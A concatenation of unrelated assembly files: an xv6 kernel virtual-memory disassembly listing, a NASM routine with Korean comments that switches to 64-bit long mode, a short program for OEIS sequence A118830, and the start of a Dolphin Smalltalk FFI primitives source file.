80108656: 89 54 24 04 mov %edx,0x4(%esp)
8010865a: 8b 45 08 mov 0x8(%ebp),%eax
8010865d: 89 04 24 mov %eax,(%esp)
80108660: e8 d8 fa ff ff call 8010813d <mappages>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
80108665: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
8010866c: 8b 45 f4 mov -0xc(%ebp),%eax
8010866f: 3b 45 10 cmp 0x10(%ebp),%eax
80108672: 0f 82 67 ff ff ff jb 801085df <allocuvm+0x3c>
return 0;
}
memset(mem, 0, PGSIZE);
mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
}
return newsz;
80108678: 8b 45 10 mov 0x10(%ebp),%eax
}
8010867b: c9 leave
8010867c: c3 ret
8010867d <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
8010867d: 55 push %ebp
8010867e: 89 e5 mov %esp,%ebp
80108680: 83 ec 28 sub $0x28,%esp
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
80108683: 8b 45 10 mov 0x10(%ebp),%eax
80108686: 3b 45 0c cmp 0xc(%ebp),%eax
80108689: 72 08 jb 80108693 <deallocuvm+0x16>
return oldsz;
8010868b: 8b 45 0c mov 0xc(%ebp),%eax
8010868e: e9 a4 00 00 00 jmp 80108737 <deallocuvm+0xba>
a = PGROUNDUP(newsz);
80108693: 8b 45 10 mov 0x10(%ebp),%eax
80108696: 05 ff 0f 00 00 add $0xfff,%eax
8010869b: 25 00 f0 ff ff and $0xfffff000,%eax
801086a0: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < oldsz; a += PGSIZE){
801086a3: e9 80 00 00 00 jmp 80108728 <deallocuvm+0xab>
pte = walkpgdir(pgdir, (char*)a, 0);
801086a8: 8b 45 f4 mov -0xc(%ebp),%eax
801086ab: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801086b2: 00
801086b3: 89 44 24 04 mov %eax,0x4(%esp)
801086b7: 8b 45 08 mov 0x8(%ebp),%eax
801086ba: 89 04 24 mov %eax,(%esp)
801086bd: e8 e5 f9 ff ff call 801080a7 <walkpgdir>
801086c2: 89 45 f0 mov %eax,-0x10(%ebp)
if(!pte)
801086c5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801086c9: 75 09 jne 801086d4 <deallocuvm+0x57>
a += (NPTENTRIES - 1) * PGSIZE;
801086cb: 81 45 f4 00 f0 3f 00 addl $0x3ff000,-0xc(%ebp)
801086d2: eb 4d jmp 80108721 <deallocuvm+0xa4>
else if((*pte & PTE_P) != 0){
801086d4: 8b 45 f0 mov -0x10(%ebp),%eax
801086d7: 8b 00 mov (%eax),%eax
801086d9: 83 e0 01 and $0x1,%eax
801086dc: 84 c0 test %al,%al
801086de: 74 41 je 80108721 <deallocuvm+0xa4>
pa = PTE_ADDR(*pte);
801086e0: 8b 45 f0 mov -0x10(%ebp),%eax
801086e3: 8b 00 mov (%eax),%eax
801086e5: 25 00 f0 ff ff and $0xfffff000,%eax
801086ea: 89 45 ec mov %eax,-0x14(%ebp)
if(pa == 0)
801086ed: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801086f1: 75 0c jne 801086ff <deallocuvm+0x82>
panic("kfree");
801086f3: c7 04 24 95 90 10 80 movl $0x80109095,(%esp)
801086fa: e8 3e 7e ff ff call 8010053d <panic>
char *v = p2v(pa);
801086ff: 8b 45 ec mov -0x14(%ebp),%eax
80108702: 89 04 24 mov %eax,(%esp)
80108705: e8 1a f5 ff ff call 80107c24 <p2v>
8010870a: 89 45 e8 mov %eax,-0x18(%ebp)
kfree(v);
8010870d: 8b 45 e8 mov -0x18(%ebp),%eax
80108710: 89 04 24 mov %eax,(%esp)
80108713: e8 5a a3 ff ff call 80102a72 <kfree>
*pte = 0;
80108718: 8b 45 f0 mov -0x10(%ebp),%eax
8010871b: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80108721: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108728: 8b 45 f4 mov -0xc(%ebp),%eax
8010872b: 3b 45 0c cmp 0xc(%ebp),%eax
8010872e: 0f 82 74 ff ff ff jb 801086a8 <deallocuvm+0x2b>
char *v = p2v(pa);
kfree(v);
*pte = 0;
}
}
return newsz;
80108734: 8b 45 10 mov 0x10(%ebp),%eax
}
80108737: c9 leave
80108738: c3 ret
80108739 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80108739: 55 push %ebp
8010873a: 89 e5 mov %esp,%ebp
8010873c: 83 ec 28 sub $0x28,%esp
uint i;
if(pgdir == 0)
8010873f: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80108743: 75 0c jne 80108751 <freevm+0x18>
panic("freevm: no pgdir");
80108745: c7 04 24 9b 90 10 80 movl $0x8010909b,(%esp)
8010874c: e8 ec 7d ff ff call 8010053d <panic>
deallocuvm(pgdir, KERNBASE, 0);
80108751: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108758: 00
80108759: c7 44 24 04 00 00 00 movl $0x80000000,0x4(%esp)
80108760: 80
80108761: 8b 45 08 mov 0x8(%ebp),%eax
80108764: 89 04 24 mov %eax,(%esp)
80108767: e8 11 ff ff ff call 8010867d <deallocuvm>
for(i = 0; i < NPDENTRIES; i++){
8010876c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108773: eb 3c jmp 801087b1 <freevm+0x78>
if(pgdir[i] & PTE_P){
80108775: 8b 45 f4 mov -0xc(%ebp),%eax
80108778: c1 e0 02 shl $0x2,%eax
8010877b: 03 45 08 add 0x8(%ebp),%eax
8010877e: 8b 00 mov (%eax),%eax
80108780: 83 e0 01 and $0x1,%eax
80108783: 84 c0 test %al,%al
80108785: 74 26 je 801087ad <freevm+0x74>
char * v = p2v(PTE_ADDR(pgdir[i]));
80108787: 8b 45 f4 mov -0xc(%ebp),%eax
8010878a: c1 e0 02 shl $0x2,%eax
8010878d: 03 45 08 add 0x8(%ebp),%eax
80108790: 8b 00 mov (%eax),%eax
80108792: 25 00 f0 ff ff and $0xfffff000,%eax
80108797: 89 04 24 mov %eax,(%esp)
8010879a: e8 85 f4 ff ff call 80107c24 <p2v>
8010879f: 89 45 f0 mov %eax,-0x10(%ebp)
kfree(v);
801087a2: 8b 45 f0 mov -0x10(%ebp),%eax
801087a5: 89 04 24 mov %eax,(%esp)
801087a8: e8 c5 a2 ff ff call 80102a72 <kfree>
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
801087ad: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801087b1: 81 7d f4 ff 03 00 00 cmpl $0x3ff,-0xc(%ebp)
801087b8: 76 bb jbe 80108775 <freevm+0x3c>
if(pgdir[i] & PTE_P){
char * v = p2v(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
801087ba: 8b 45 08 mov 0x8(%ebp),%eax
801087bd: 89 04 24 mov %eax,(%esp)
801087c0: e8 ad a2 ff ff call 80102a72 <kfree>
}
801087c5: c9 leave
801087c6: c3 ret
801087c7 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
801087c7: 55 push %ebp
801087c8: 89 e5 mov %esp,%ebp
801087ca: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
801087cd: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801087d4: 00
801087d5: 8b 45 0c mov 0xc(%ebp),%eax
801087d8: 89 44 24 04 mov %eax,0x4(%esp)
801087dc: 8b 45 08 mov 0x8(%ebp),%eax
801087df: 89 04 24 mov %eax,(%esp)
801087e2: e8 c0 f8 ff ff call 801080a7 <walkpgdir>
801087e7: 89 45 f4 mov %eax,-0xc(%ebp)
if(pte == 0)
801087ea: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801087ee: 75 0c jne 801087fc <clearpteu+0x35>
panic("clearpteu");
801087f0: c7 04 24 ac 90 10 80 movl $0x801090ac,(%esp)
801087f7: e8 41 7d ff ff call 8010053d <panic>
*pte &= ~PTE_U;
801087fc: 8b 45 f4 mov -0xc(%ebp),%eax
801087ff: 8b 00 mov (%eax),%eax
80108801: 89 c2 mov %eax,%edx
80108803: 83 e2 fb and $0xfffffffb,%edx
80108806: 8b 45 f4 mov -0xc(%ebp),%eax
80108809: 89 10 mov %edx,(%eax)
}
8010880b: c9 leave
8010880c: c3 ret
8010880d <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
8010880d: 55 push %ebp
8010880e: 89 e5 mov %esp,%ebp
80108810: 53 push %ebx
80108811: 83 ec 44 sub $0x44,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80108814: e8 b8 f9 ff ff call 801081d1 <setupkvm>
80108819: 89 45 f0 mov %eax,-0x10(%ebp)
8010881c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80108820: 75 0a jne 8010882c <copyuvm+0x1f>
return 0;
80108822: b8 00 00 00 00 mov $0x0,%eax
80108827: e9 fd 00 00 00 jmp 80108929 <copyuvm+0x11c>
for(i = 0; i < sz; i += PGSIZE){
8010882c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108833: e9 cc 00 00 00 jmp 80108904 <copyuvm+0xf7>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80108838: 8b 45 f4 mov -0xc(%ebp),%eax
8010883b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108842: 00
80108843: 89 44 24 04 mov %eax,0x4(%esp)
80108847: 8b 45 08 mov 0x8(%ebp),%eax
8010884a: 89 04 24 mov %eax,(%esp)
8010884d: e8 55 f8 ff ff call 801080a7 <walkpgdir>
80108852: 89 45 ec mov %eax,-0x14(%ebp)
80108855: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80108859: 75 0c jne 80108867 <copyuvm+0x5a>
panic("copyuvm: pte should exist");
8010885b: c7 04 24 b6 90 10 80 movl $0x801090b6,(%esp)
80108862: e8 d6 7c ff ff call 8010053d <panic>
if(!(*pte & PTE_P))
80108867: 8b 45 ec mov -0x14(%ebp),%eax
8010886a: 8b 00 mov (%eax),%eax
8010886c: 83 e0 01 and $0x1,%eax
8010886f: 85 c0 test %eax,%eax
80108871: 75 0c jne 8010887f <copyuvm+0x72>
panic("copyuvm: page not present");
80108873: c7 04 24 d0 90 10 80 movl $0x801090d0,(%esp)
8010887a: e8 be 7c ff ff call 8010053d <panic>
pa = PTE_ADDR(*pte);
8010887f: 8b 45 ec mov -0x14(%ebp),%eax
80108882: 8b 00 mov (%eax),%eax
80108884: 25 00 f0 ff ff and $0xfffff000,%eax
80108889: 89 45 e8 mov %eax,-0x18(%ebp)
flags = PTE_FLAGS(*pte);
8010888c: 8b 45 ec mov -0x14(%ebp),%eax
8010888f: 8b 00 mov (%eax),%eax
80108891: 25 ff 0f 00 00 and $0xfff,%eax
80108896: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mem = kalloc()) == 0)
80108899: e8 6d a2 ff ff call 80102b0b <kalloc>
8010889e: 89 45 e0 mov %eax,-0x20(%ebp)
801088a1: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801088a5: 74 6e je 80108915 <copyuvm+0x108>
goto bad;
memmove(mem, (char*)p2v(pa), PGSIZE);
801088a7: 8b 45 e8 mov -0x18(%ebp),%eax
801088aa: 89 04 24 mov %eax,(%esp)
801088ad: e8 72 f3 ff ff call 80107c24 <p2v>
801088b2: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801088b9: 00
801088ba: 89 44 24 04 mov %eax,0x4(%esp)
801088be: 8b 45 e0 mov -0x20(%ebp),%eax
801088c1: 89 04 24 mov %eax,(%esp)
801088c4: e8 68 cd ff ff call 80105631 <memmove>
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
801088c9: 8b 5d e4 mov -0x1c(%ebp),%ebx
801088cc: 8b 45 e0 mov -0x20(%ebp),%eax
801088cf: 89 04 24 mov %eax,(%esp)
801088d2: e8 40 f3 ff ff call 80107c17 <v2p>
801088d7: 8b 55 f4 mov -0xc(%ebp),%edx
801088da: 89 5c 24 10 mov %ebx,0x10(%esp)
801088de: 89 44 24 0c mov %eax,0xc(%esp)
801088e2: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801088e9: 00
801088ea: 89 54 24 04 mov %edx,0x4(%esp)
801088ee: 8b 45 f0 mov -0x10(%ebp),%eax
801088f1: 89 04 24 mov %eax,(%esp)
801088f4: e8 44 f8 ff ff call 8010813d <mappages>
801088f9: 85 c0 test %eax,%eax
801088fb: 78 1b js 80108918 <copyuvm+0x10b>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
801088fd: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108904: 8b 45 f4 mov -0xc(%ebp),%eax
80108907: 3b 45 0c cmp 0xc(%ebp),%eax
8010890a: 0f 82 28 ff ff ff jb 80108838 <copyuvm+0x2b>
goto bad;
memmove(mem, (char*)p2v(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
goto bad;
}
return d;
80108910: 8b 45 f0 mov -0x10(%ebp),%eax
80108913: eb 14 jmp 80108929 <copyuvm+0x11c>
if(!(*pte & PTE_P))
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
80108915: 90 nop
80108916: eb 01 jmp 80108919 <copyuvm+0x10c>
memmove(mem, (char*)p2v(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
goto bad;
80108918: 90 nop
}
return d;
bad:
freevm(d);
80108919: 8b 45 f0 mov -0x10(%ebp),%eax
8010891c: 89 04 24 mov %eax,(%esp)
8010891f: e8 15 fe ff ff call 80108739 <freevm>
return 0;
80108924: b8 00 00 00 00 mov $0x0,%eax
}
80108929: 83 c4 44 add $0x44,%esp
8010892c: 5b pop %ebx
8010892d: 5d pop %ebp
8010892e: c3 ret
8010892f <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
8010892f: 55 push %ebp
80108930: 89 e5 mov %esp,%ebp
80108932: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80108935: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010893c: 00
8010893d: 8b 45 0c mov 0xc(%ebp),%eax
80108940: 89 44 24 04 mov %eax,0x4(%esp)
80108944: 8b 45 08 mov 0x8(%ebp),%eax
80108947: 89 04 24 mov %eax,(%esp)
8010894a: e8 58 f7 ff ff call 801080a7 <walkpgdir>
8010894f: 89 45 f4 mov %eax,-0xc(%ebp)
if((*pte & PTE_P) == 0)
80108952: 8b 45 f4 mov -0xc(%ebp),%eax
80108955: 8b 00 mov (%eax),%eax
80108957: 83 e0 01 and $0x1,%eax
8010895a: 85 c0 test %eax,%eax
8010895c: 75 07 jne 80108965 <uva2ka+0x36>
return 0;
8010895e: b8 00 00 00 00 mov $0x0,%eax
80108963: eb 25 jmp 8010898a <uva2ka+0x5b>
if((*pte & PTE_U) == 0)
80108965: 8b 45 f4 mov -0xc(%ebp),%eax
80108968: 8b 00 mov (%eax),%eax
8010896a: 83 e0 04 and $0x4,%eax
8010896d: 85 c0 test %eax,%eax
8010896f: 75 07 jne 80108978 <uva2ka+0x49>
return 0;
80108971: b8 00 00 00 00 mov $0x0,%eax
80108976: eb 12 jmp 8010898a <uva2ka+0x5b>
return (char*)p2v(PTE_ADDR(*pte));
80108978: 8b 45 f4 mov -0xc(%ebp),%eax
8010897b: 8b 00 mov (%eax),%eax
8010897d: 25 00 f0 ff ff and $0xfffff000,%eax
80108982: 89 04 24 mov %eax,(%esp)
80108985: e8 9a f2 ff ff call 80107c24 <p2v>
}
8010898a: c9 leave
8010898b: c3 ret
8010898c <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
8010898c: 55 push %ebp
8010898d: 89 e5 mov %esp,%ebp
8010898f: 83 ec 28 sub $0x28,%esp
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
80108992: 8b 45 10 mov 0x10(%ebp),%eax
80108995: 89 45 f4 mov %eax,-0xc(%ebp)
while(len > 0){
80108998: e9 8b 00 00 00 jmp 80108a28 <copyout+0x9c>
va0 = (uint)PGROUNDDOWN(va);
8010899d: 8b 45 0c mov 0xc(%ebp),%eax
801089a0: 25 00 f0 ff ff and $0xfffff000,%eax
801089a5: 89 45 ec mov %eax,-0x14(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
801089a8: 8b 45 ec mov -0x14(%ebp),%eax
801089ab: 89 44 24 04 mov %eax,0x4(%esp)
801089af: 8b 45 08 mov 0x8(%ebp),%eax
801089b2: 89 04 24 mov %eax,(%esp)
801089b5: e8 75 ff ff ff call 8010892f <uva2ka>
801089ba: 89 45 e8 mov %eax,-0x18(%ebp)
if(pa0 == 0)
801089bd: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
801089c1: 75 07 jne 801089ca <copyout+0x3e>
return -1;
801089c3: b8 ff ff ff ff mov $0xffffffff,%eax
801089c8: eb 6d jmp 80108a37 <copyout+0xab>
n = PGSIZE - (va - va0);
801089ca: 8b 45 0c mov 0xc(%ebp),%eax
801089cd: 8b 55 ec mov -0x14(%ebp),%edx
801089d0: 89 d1 mov %edx,%ecx
801089d2: 29 c1 sub %eax,%ecx
801089d4: 89 c8 mov %ecx,%eax
801089d6: 05 00 10 00 00 add $0x1000,%eax
801089db: 89 45 f0 mov %eax,-0x10(%ebp)
if(n > len)
801089de: 8b 45 f0 mov -0x10(%ebp),%eax
801089e1: 3b 45 14 cmp 0x14(%ebp),%eax
801089e4: 76 06 jbe 801089ec <copyout+0x60>
n = len;
801089e6: 8b 45 14 mov 0x14(%ebp),%eax
801089e9: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(pa0 + (va - va0), buf, n);
801089ec: 8b 45 ec mov -0x14(%ebp),%eax
801089ef: 8b 55 0c mov 0xc(%ebp),%edx
801089f2: 89 d1 mov %edx,%ecx
801089f4: 29 c1 sub %eax,%ecx
801089f6: 89 c8 mov %ecx,%eax
801089f8: 03 45 e8 add -0x18(%ebp),%eax
801089fb: 8b 55 f0 mov -0x10(%ebp),%edx
801089fe: 89 54 24 08 mov %edx,0x8(%esp)
80108a02: 8b 55 f4 mov -0xc(%ebp),%edx
80108a05: 89 54 24 04 mov %edx,0x4(%esp)
80108a09: 89 04 24 mov %eax,(%esp)
80108a0c: e8 20 cc ff ff call 80105631 <memmove>
len -= n;
80108a11: 8b 45 f0 mov -0x10(%ebp),%eax
80108a14: 29 45 14 sub %eax,0x14(%ebp)
buf += n;
80108a17: 8b 45 f0 mov -0x10(%ebp),%eax
80108a1a: 01 45 f4 add %eax,-0xc(%ebp)
va = va0 + PGSIZE;
80108a1d: 8b 45 ec mov -0x14(%ebp),%eax
80108a20: 05 00 10 00 00 add $0x1000,%eax
80108a25: 89 45 0c mov %eax,0xc(%ebp)
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80108a28: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
80108a2c: 0f 85 6b ff ff ff jne 8010899d <copyout+0x11>
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
80108a32: b8 00 00 00 00 mov $0x0,%eax
}
80108a37: c9 leave
80108a38: c3 ret
|
[BITS 32]
global _SwitchAndExecute64bitKernel
SECTION .data ; 텍스트 섹션이 되어야 하지만 편법으로 데이터섹션에 위치시킨다.
; 텍스트 섹션으로 설정할 경우 어셈블리 오브젝트가 프로그램 앞단에 배치되는 걸 막을 방법이 없기 때문이다.
; IA-32e 모드로 전환하고 64비트 커널을 수행
; PARAM: INT pmt4EntryAddress, INT kernelAddress, void* grubInfo
_SwitchAndExecute64bitKernel:
push ebp
mov ebp, esp
mov ebx, dword [ ebp + 8 ] ; 파라미터 1(pmt4EntryAddress)
mov edx, dword [ ebp + 12 ] ; 파라미터 2(kernelAddress)
mov [kernelAddress], edx
lgdt [GDTR]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; CR4 컨트롤 레지스터의 PAE 비트를 1로 설정
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov eax, cr4 ; CR4 컨트롤 레지스터의 값을 EAX 레지스터에 저장
or eax, 0x20 ; PAE 비트(비트 5)를 1로 설정
mov cr4, eax ; PAE 비트가 1로 설정된 값을 CR4 컨트롤 레지스터에 저장
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; CR3 컨트롤 레지스터에 PML4 테이블의 어드레스 및 캐시 활성화
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov eax, ebx ; EAX 레지스터에 PML4 테이블이 존재하는 주소(pmt4EntryAddress)를 저장
mov cr3, eax ; CR3 컨트롤 레지스터에 kernelAddress를 저장
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; IA32_EFER.LME를 1로 설정하여 IA-32e 모드를 활성화
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov ecx, 0xC0000080 ; IA32_EFER MSR 레지스터의 어드레스를 저장
rdmsr ; MSR 레지스터를 읽기
or eax, 0x0100 ; EAX 레지스터에 저장된 IA32_EFER MSR의 하위 32비트에서
; LME 비트(비트 8)을 1로 설정
wrmsr ; MSR 레지스터에 쓰기
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; CR0 컨트롤 레지스터를 NW 비트(비트 29) = 0, CD 비트(비트 30) = 0, PG 비트(비트 31) = 1로
; 설정하여 캐시 기능과 페이징 기능을 활성화
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov eax, cr0 ; EAX 레지스터에 CR0 컨트롤 레지스터를 저장
or eax, 0xE0000000 ; NW 비트(비트 29), CD 비트(비트 30), PG 비트(비트 31)을 모두 1로 설정
xor eax, 0x60000000 ; NW 비트(비트 29)와 CD 비트(비트 30)을 XOR하여 0으로 설정
mov cr0, eax ; NW 비트 = 0, CD 비트 = 0, PG 비트 = 1로 설정한 값을 다시
; CR0 컨트롤 레지스터에 저장
jmp 0x08:jmp_64k ; CS 세그먼트 셀렉터를 IA-32e 모드용 코드 세그먼트 디스크립터로
jmp_64k:;이하 아래 코드는 32비트로 컴파일되었지만 실제로는 64비트 코드다. 파라메터를 넘기기 위한 트릭 코드
mov ecx, [ ebp + 16 ];
dd(0);
mov eax, [kernelAddress];
dd(0);
jmp eax;
kernelAddress:
dd 0
; 여기는 실행되지 않음
jmp $
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 데이터 영역
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 아래의 데이터들을 8byte에 맞춰 정렬하기 위해 추가
align 8, db 0
; GDTR의 끝을 8byte로 정렬하기 위해 추가
dw 0x0000
; GDTR 자료구조 정의
GDTR:
dw GDTEND - GDT - 1 ; 아래에 위치하는 GDT 테이블의 전체 크기
dd ( GDT ) ; 아래에 위치하는 GDT 테이블의 시작 어드레스
; GDT 테이블 정의
GDT:
; 널(NULL) 디스크립터, 반드시 0으로 초기화해야 함
NULLDescriptor:
dw 0x0000
dw 0x0000
db 0x00
db 0x00
db 0x00
db 0x00
; IA-32e 모드 커널용 코드 세그먼트 디스크립터
IA_32eCODEDESCRIPTOR:
dw 0xFFFF ; Limit [15:0]
dw 0x0000 ; Base [15:0]
db 0x00 ; Base [23:16]
db 0x9A ; P=1, DPL=0, Code Segment, Execute/Read
db 0xAF ; G=1, D=0, L=1, Limit[19:16]
db 0x00 ; Base [31:24]
; IA-32e 모드 커널용 데이터 세그먼트 디스크립터
IA_32eDATADESCRIPTOR:
dw 0xFFFF ; Limit [15:0]
dw 0x0000 ; Base [15:0]
db 0x00 ; Base [23:16]
db 0x92 ; P=1, DPL=0, Data Segment, Read/Write
db 0xAF ; G=1, D=0, L=1, Limit[19:16]
db 0x00 ; Base [31:24]
GDTEND:
|
; A118830: 2-adic continued fraction of zero, where a(n) = -1 if n is odd, 2*A006519(n/2) otherwise.
; -1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,32,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,64,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,32,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,128,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,32,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,64,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,32,-1,2,-1,4,-1,2,-1,8,-1,2,-1,4,-1,2,-1,16,-1,2,-1,4,-1,2,-1,8,-1,2
add $0,1
gcd $0,128
mul $0,2
lpb $0,1
sub $0,4
add $1,4
lpe
sub $1,$0
sub $1,4
div $1,2
add $1,2
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Dolphin Smalltalk
; External Buffer Primitive routines and helpers in Assembler for IX86
;
; See also flotprim.cpp, as the floating point buffer accessing primitives
; (rarely used by anybody except Mr Bower [and therefore unimportant, tee hee])
; are still coded in dead slow C++
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
INCLUDE IstAsm.Inc
.CODE FFIPRIM_SEG
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Imports
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MACROS
IndirectAtPreamble MACRO ;; Set up EAX/EDX ready to access value
mov ecx, [_SP-OOPSIZE] ;; Load receiver
ASSUME ecx:PTR OTE
mov edx, [_SP] ;; Load the byte offset
mov eax, [ecx].m_location ;; Get ptr to receiver into eax
ASSUME eax:PTR ExternalAddress
sar edx, 1 ;; Convert byte offset from SmallInteger (at the same time testing bottom bit)
mov eax, [eax].m_pointer ;; Load pointer out of object (immediately after header)
jnc localPrimitiveFailure0 ;; Arg not a SmallInteger, fail the primitive
ASSUME eax:NOTHING
ASSUME ecx:NOTHING
ENDM
IndirectAtPutPreamble MACRO ;; Set up EAX/EDX ready to access value
mov ecx, [_SP-OOPSIZE*2] ;; Load receiver
ASSUME ecx:PTR OTE
mov edx, [_SP-OOPSIZE] ;; Load the byte offset
mov eax, [ecx].m_location ;; Get ptr to receiver into eax
ASSUME eax:PTR ExternalAddress
sar edx, 1 ;; Convert byte offset from SmallInteger (at the same time testing bottom bit)
mov eax, [eax].m_pointer ;; Load pointer out of object (immediately after header)
jnc localPrimitiveFailure0 ;; Arg not a SmallInteger, fail the primitive
ASSUME eax:NOTHING
ASSUME ecx:NOTHING
ENDM
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Procedures
